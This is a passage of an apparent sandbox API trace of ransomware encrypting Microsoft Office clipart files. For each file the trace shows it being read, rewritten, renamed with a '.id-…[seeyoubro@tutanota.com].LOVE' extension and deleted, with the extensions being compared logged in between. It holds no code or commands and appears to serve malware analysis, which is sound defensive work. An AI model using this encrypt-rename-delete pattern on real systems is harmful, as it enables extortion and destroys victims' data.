(lpString1=".7z", lpString2="WMF") returned -1 [0217.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0217.491] lstrlenW (lpString=".dbf") returned 4 [0217.491] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0217.491] lstrlenW (lpString=".1cd") returned 4 [0217.491] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0217.491] lstrlenW (lpString=".jpg") returned 4 [0217.491] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.492] GetLastError () returned 0x0 [0217.492] ReadFile (in: hFile=0x358, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xa79c, lpOverlapped=0x0) returned 1 [0217.712] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xa7a0, lpOverlapped=0x0) returned 1 [0217.713] ReadFile (in: hFile=0x358, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0217.713] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0217.713] SetEndOfFile (hFile=0x354) returned 1 [0217.714] CloseHandle (hObject=0x354) returned 1 [0217.714] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.714] SetEndOfFile (hFile=0x358) returned 1 [0217.715] CloseHandle (hObject=0x358) returned 1 [0217.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0217.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 1 [0217.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0217.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0217.715] lstrlenW (lpString=".doc") returned 4 [0217.715] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.716] lstrlenW (lpString=".docx") returned 5 [0217.716] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.716] lstrlenW (lpString=".pdf") returned 4 [0217.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.716] lstrlenW (lpString=".xls") returned 4 [0217.716] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.716] lstrlenW (lpString=".xlsx") returned 5 [0217.716] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.716] lstrlenW (lpString=".ppt") returned 4 [0217.716] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0217.716] lstrlenW (lpString=".zip") returned 4 [0217.716] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.716] lstrlenW (lpString=".rar") returned 4 [0217.716] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.716] lstrlenW (lpString=".bz2") returned 4 [0217.716] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.716] lstrlenW (lpString=".7z") returned 3 [0217.716] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0217.716] lstrlenW (lpString=".dbf") returned 4 [0217.716] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0217.716] lstrlenW (lpString=".1cd") returned 4 [0217.716] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0217.716] lstrlenW (lpString=".jpg") returned 4 [0217.716] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.717] GetLastError () returned 0x0 [0217.717] ReadFile (in: hFile=0x358, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x5130, lpOverlapped=0x0) returned 1 [0218.025] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x5140, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x5140, lpOverlapped=0x0) returned 1 [0218.026] ReadFile (in: hFile=0x358, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0218.026] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0218.026] SetEndOfFile (hFile=0x354) returned 1 [0218.026] CloseHandle (hObject=0x354) returned 1 [0218.026] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.026] SetEndOfFile (hFile=0x358) returned 1 [0218.027] CloseHandle (hObject=0x358) returned 1 [0218.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.027] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 1 [0218.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0218.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0218.028] lstrlenW (lpString=".doc") returned 4 [0218.028] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.028] lstrlenW (lpString=".docx") returned 5 [0218.028] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.028] lstrlenW (lpString=".pdf") returned 4 [0218.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.028] lstrlenW (lpString=".xls") returned 4 [0218.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.028] lstrlenW (lpString=".xlsx") returned 5 [0218.028] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.028] lstrlenW (lpString=".ppt") returned 4 [0218.028] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0218.028] lstrlenW (lpString=".zip") returned 4 [0218.028] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.028] lstrlenW (lpString=".rar") returned 4 [0218.028] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.028] lstrlenW (lpString=".bz2") returned 4 [0218.028] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.028] lstrlenW (lpString=".7z") returned 3 [0218.028] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0218.028] lstrlenW (lpString=".dbf") returned 4 [0218.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0218.028] lstrlenW (lpString=".1cd") returned 4 [0218.028] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0218.029] lstrlenW (lpString=".jpg") returned 4 [0218.029] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.029] GetLastError () returned 0x0 [0218.029] ReadFile (in: hFile=0x358, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x8b2, lpOverlapped=0x0) returned 1 [0218.297] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0218.462] ReadFile (in: hFile=0x358, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0218.462] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0218.462] SetEndOfFile (hFile=0x354) returned 1 [0218.463] CloseHandle (hObject=0x354) returned 1 [0218.463] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.463] SetEndOfFile (hFile=0x358) returned 1 [0218.464] CloseHandle (hObject=0x358) returned 1 [0218.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.464] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 1 [0218.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0218.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0218.465] lstrlenW (lpString=".doc") returned 4 [0218.465] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.465] lstrlenW (lpString=".docx") returned 5 [0218.465] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.465] lstrlenW (lpString=".pdf") returned 4 [0218.465] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.465] lstrlenW (lpString=".xls") returned 4 [0218.465] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.465] lstrlenW (lpString=".xlsx") returned 5 [0218.465] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.465] lstrlenW (lpString=".ppt") returned 4 [0218.465] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0218.465] lstrlenW (lpString=".zip") returned 4 [0218.465] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.465] lstrlenW (lpString=".rar") returned 4 [0218.465] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.465] lstrlenW (lpString=".bz2") returned 4 [0218.465] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.465] lstrlenW (lpString=".7z") returned 3 [0218.465] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0218.465] lstrlenW (lpString=".dbf") returned 4 [0218.465] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0218.466] lstrlenW (lpString=".1cd") returned 4 [0218.466] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0218.466] lstrlenW (lpString=".jpg") returned 4 [0218.466] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.466] GetLastError () returned 0x0 [0218.466] ReadFile (in: hFile=0x358, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xe20, lpOverlapped=0x0) returned 1 [0218.626] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xe30, lpOverlapped=0x0) returned 1 [0218.627] ReadFile (in: hFile=0x358, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0218.627] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0218.627] SetEndOfFile (hFile=0x354) returned 1 [0218.628] CloseHandle (hObject=0x354) returned 1 [0218.628] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.628] SetEndOfFile (hFile=0x358) returned 1 [0218.629] CloseHandle (hObject=0x358) returned 1 [0218.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.629] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 1 [0218.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0218.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0218.630] lstrlenW (lpString=".doc") returned 4 [0218.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.630] lstrlenW (lpString=".docx") returned 5 [0218.630] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.630] lstrlenW (lpString=".pdf") returned 4 [0218.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.630] lstrlenW (lpString=".xls") returned 4 [0218.630] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.630] lstrlenW (lpString=".xlsx") returned 5 [0218.630] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.630] lstrlenW (lpString=".ppt") returned 4 [0218.630] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0218.630] lstrlenW (lpString=".zip") returned 4 [0218.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.630] lstrlenW (lpString=".rar") returned 4 [0218.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.630] lstrlenW (lpString=".bz2") returned 4 [0218.630] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.630] lstrlenW (lpString=".7z") returned 3 [0218.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0218.630] lstrlenW (lpString=".dbf") returned 4 [0218.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0218.631] lstrlenW (lpString=".1cd") returned 4 [0218.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0218.631] lstrlenW (lpString=".jpg") returned 4 [0218.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.631] GetLastError () returned 0x0 [0218.631] ReadFile (in: hFile=0x358, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xe04, lpOverlapped=0x0) returned 1 [0218.667] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xe10, lpOverlapped=0x0) returned 1 [0218.668] ReadFile (in: hFile=0x358, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0218.668] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0218.668] SetEndOfFile (hFile=0x354) returned 1 [0218.668] CloseHandle (hObject=0x354) returned 1 [0218.669] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.669] SetEndOfFile (hFile=0x358) returned 1 [0218.670] CloseHandle (hObject=0x358) returned 1 [0218.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.670] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 1 [0218.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0218.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0218.687] lstrlenW (lpString=".doc") returned 4 [0218.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.687] lstrlenW (lpString=".docx") returned 5 [0218.687] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.687] lstrlenW (lpString=".pdf") returned 4 [0218.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.687] lstrlenW (lpString=".xls") returned 4 [0218.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.687] lstrlenW (lpString=".xlsx") returned 5 [0218.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.687] lstrlenW (lpString=".ppt") returned 4 [0218.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0218.687] lstrlenW (lpString=".zip") returned 4 [0218.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.687] lstrlenW (lpString=".rar") returned 4 [0218.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.687] lstrlenW (lpString=".bz2") returned 4 [0218.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.688] lstrlenW (lpString=".7z") returned 3 [0218.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0218.688] lstrlenW (lpString=".dbf") returned 4 [0218.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0218.688] lstrlenW (lpString=".1cd") returned 4 [0218.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0218.688] lstrlenW (lpString=".jpg") returned 4 [0218.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.695] GetLastError () returned 0x0 [0218.695] ReadFile (in: hFile=0x354, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x8fc, lpOverlapped=0x0) returned 1 [0218.716] WriteFile (in: hFile=0x35c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x900, lpOverlapped=0x0) returned 1 [0218.717] ReadFile (in: hFile=0x354, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0218.717] WriteFile (in: hFile=0x35c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0218.721] SetEndOfFile (hFile=0x35c) returned 1 [0218.721] CloseHandle (hObject=0x35c) returned 1 [0218.721] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.722] SetEndOfFile (hFile=0x354) returned 1 [0218.723] CloseHandle (hObject=0x354) returned 1 [0218.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.723] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 1 [0218.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0218.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0218.723] lstrlenW (lpString=".doc") returned 4 [0218.723] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.724] lstrlenW (lpString=".docx") returned 5 [0218.724] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.724] lstrlenW (lpString=".pdf") returned 4 [0218.724] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.724] lstrlenW (lpString=".xls") returned 4 [0218.724] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.724] lstrlenW (lpString=".xlsx") returned 5 [0218.724] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.724] lstrlenW (lpString=".ppt") returned 4 [0218.724] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0218.724] lstrlenW (lpString=".zip") returned 4 [0218.724] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.724] lstrlenW (lpString=".rar") returned 4 [0218.724] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.724] lstrlenW (lpString=".bz2") returned 4 [0218.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.724] lstrlenW (lpString=".7z") returned 3 [0218.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0218.724] lstrlenW (lpString=".dbf") returned 4 [0218.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0218.724] lstrlenW (lpString=".1cd") returned 4 [0218.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0218.724] lstrlenW (lpString=".jpg") returned 4 [0218.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.814] GetLastError () returned 0x0 [0218.814] ReadFile (in: hFile=0x2cc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x7d4, lpOverlapped=0x0) returned 1 [0218.842] WriteFile (in: hFile=0x388, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x7e0, lpOverlapped=0x0) returned 1 [0218.843] ReadFile (in: hFile=0x2cc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0218.843] WriteFile (in: hFile=0x388, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, 